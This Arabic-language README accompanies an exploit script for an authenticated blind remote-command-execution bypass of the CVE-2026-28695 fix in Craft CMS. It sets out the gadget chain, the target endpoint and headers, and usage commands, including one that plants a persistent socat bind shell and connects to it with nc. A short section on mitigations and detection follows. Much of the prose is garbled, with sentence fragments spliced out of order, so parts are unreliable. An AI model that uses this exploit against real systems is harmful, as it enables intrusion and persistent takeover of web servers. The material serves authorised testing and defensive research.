تنفيذ تعليمات برمجية عن بُعد **أعمى** ومُصادَق عليه في Craft CMS. إصلاح للثغرة CVE-2026-28695
element-search)CVSS 3.x : 8.8 HIGH (تقريبي — تحقق منه)
CWE : CWE-502 (إنشاء كائنات غير آمن) + CWE-1336 (أصل SSTI)
الأساس : CVE-2026-28695 (SSTI عبر create() + Symfony Process)
الإصلاح : تصحيح الاستشارة e31e508 (يقيّد create() بـ BaseObject) — تم تجاوزه هنا
يؤثر على : Craft CMS ≤ 5.9.8 مع تطبيق تصحيح CVE-2026-28695
تنفيذ أوامر عن بُعد أعمى ومُوثَّق في Craft CMS. الإصلاح الرسمي لـ
CVE-2026-28695 يقيّد فقط create() بالفئات الفرعية لـ yii\base\BaseObject. أداة
yii\behaviors\AttributeTypecastBehavior هي BaseObject ومع ذلك تصل إلى
مصباح call_user_func()، لذا تنجو من الفلتر. يتم تسليمها عبر إجراء
admin/actions/element-search/search غير المعتمد على Twig، كما أنها تتجاوز
CRAFT_ENABLE_TWIG_SANDBOX. حساب محرر محتوى كافٍ.
يتعامل متحكم element-search في Craft مع JSON المهاجم بإلغاء تسلسله إلى كائنات PHP حية عبر
آلية Craft::createObject() / Instance في Yii. من خلال إرفاق AttributeTypecastBehavior
الذي يربط attributeTypes فيه سمةً بالدالة القابلة للاستدعاء [Psy\Readline\Hoa\ConsoleProcessus, execute]
وإطلاق حدث beforeSave، يصبح تحويل النوع:
call_user_func([Psy\Readline\Hoa\ConsoleProcessus, "execute"], "<CMD>")
تستجيب نقطة النهاية دائمًا بـ HTTP 500 ولا تُرجع أي مخرجات للأمر — التنفيذ أعمى.
create() + Symfony Process، يتم الوصول إليها من مصباح Twig
(عادةً Entry Types → Title Format).e31e508 الدالة create() بالفئات الفرعية لـ BaseObject،
كما يعمل الهدف مع CRAFT_ALLOW_ADMIN_CHANGES=false (الإعدادات → 403) و
CRAFT_ENABLE_TWIG_SANDBOX=true. المتجه الموثق مُغلق ثلاثيًا.yii\behaviors\AttributeTypecastBehavior -> Psy\Readline\Hoa\ConsoleProcessus::execute
تجاوز مزدوج، بحكم البنية:
element-search مسار كائن PHP، وليس عرض Twig.
CRAFT_ENABLE_TWIG_SANDBOX يحكم محرك القوالب فقط، لذا لا ينطبق أبدًا.create() بـ BaseObject. AttributeTypecastBehavior
→ yii\base\Behavior → yii\base\BaseObject، لذا يستوفي القيد الجديد
بينما لا يزال يوفر مصباح تنفيذ. الإصلاح يغلق عائلة واحدة من الفئات، لا فئة
BaseObject.نقطة النهاية:
POST /index.php?p=admin/actions/element-search/search
X-CSRF-Token: <dashboard csrf>
X-Requested-With: XMLHttpRequest
Accept: application/json
يشغّل Hoa\ConsoleProcessus::execute() الأمر عبر escapeshellcmd():
| && ; > < $() ' " → لا تسلسل، لا أنابيب، لا إعادة توجيه، لا
صدفة عكسية كلاسيكية في bash.: , /لهذا السبب يكون الحمولة عبارة عن صدفة ربط واحدة socat TCP-LISTEN,fork EXEC (الوسائط في
: / , /) بدلاً من صدفة عكسية.
Attacker (Content Editor) Craft CMS 5.9.8
| |
| GET /admin/login (scrape CSRF) |
|--------------------------------------->|
| POST users/login (jenny:******) |
|--------------------------------------->|
| GET /admin/dashboard (JS csrf) |
|<---------------------------------------|
| POST element-search/search |
| AttributeTypecastBehavior gadget |
| typecastBeforeSave = "<CMD>" |
|--------------------------------------->| call_user_func(
| HTTP 500 (blind, no output) | [ConsoleProcessus,execute], CMD)
|<---------------------------------------| -> escapeshellcmd(CMD) -> exec
| |
| oracle: "sleep 5" -> +~5s latency |
| shell: socat TCP-LISTEN:4445 bind |
| الحالة | الإصدارات |
|---|---|
| معرّض | Craft CMS ≤ 5.9.8 مع تصحيح CVE-2026-28695 |
| ملاحظة | تتطلب الأداة جلسة CP موثقة |
| الملف | الدور |
|---|---|
exploit.py | إثبات المفهوم: تسجيل الدخول → فحص أوراكل التوقيت → أمر واحد → صدفة ربط |
README.md | هذا الملف |
يتطلب requests (pip install requests).
# 1. Prove code execution (timing oracle: sleep 5 must add ~5s)
python3 exploit.py http://example.lab --check
# 2. Fire a single blind command (one binary + args, no metachars)
python3 exploit.py http://example.lab "sleep 5"
# 3. Plant a persistent bind shell as the web user, then connect
python3 exploit.py http://example.lab --bind 4445
nc IP or exemple.lab 4445
# custom creds
python3 exploit.py http://exemple.lab -u User -p 'SecureP4$$!' --bind
ما يحدث:
AttributeTypecastBehavior إلى element-search.--check يثبت التنفيذ الأعمى عبر زمن استجابة مُحقَن؛ --bind يُنشئ مستمع socat.create())، وافحص معالجة شروط element-search.CRAFT_ALLOW_ADMIN_CHANGES=false و قلّل صلاحيات محرر المحتوى — المصادقة هي
الشرط المسبق الوحيد هنا.psy/psysh (Hoa) المضمّنة حيث يمكن الوصول إلى أداة
ConsoleProcessus::execute.element-search/search التي تحتوي على __class، أو as rce، أو
AttributeTypecastBehavior؛ وعلّم على دفعات HTTP 500 من هذا الإجراء.e31e508 (create() → قيد BaseObject)AttributeTypecastBehavior / yii\base\Securityهذا المشروع مخصص لاختبارات الأمان المصرح بها، والتعليم، والبحث الدفاعي فقط. أنت مسؤول عن الامتثال للقوانين المعمول بها وقواعد الاشتباك الخاصة بمختبرك أو عميلك.